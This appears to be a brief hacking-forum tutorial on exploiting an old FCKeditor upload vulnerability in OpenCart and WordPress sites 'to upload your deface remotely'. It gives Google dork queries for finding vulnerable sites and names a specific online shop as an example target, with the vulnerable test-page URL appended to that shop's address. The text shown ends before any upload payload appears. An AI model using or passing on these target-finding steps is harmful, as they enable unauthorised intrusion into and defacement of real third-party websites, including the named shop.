wordpress fckeditor upload Vunerablity : Upload Your Deface Remotly

This Method also Known as Open Cart OpenCart CMS (Web shop) Exploit, Its a old Vunerablity but many pepoles don't know this ... so i'm publishing here a tutorial here 

1- open Google.com and enter Dork:

• inurl:admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

or

• nurl:Powered By OpenCart

You'll Got a lot of websites by google, select anyone ... For Example i got this one 

• http://www.schoolshopper.com.au/

Then i'll will simply add the vuln URL after the website 

Example

• http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html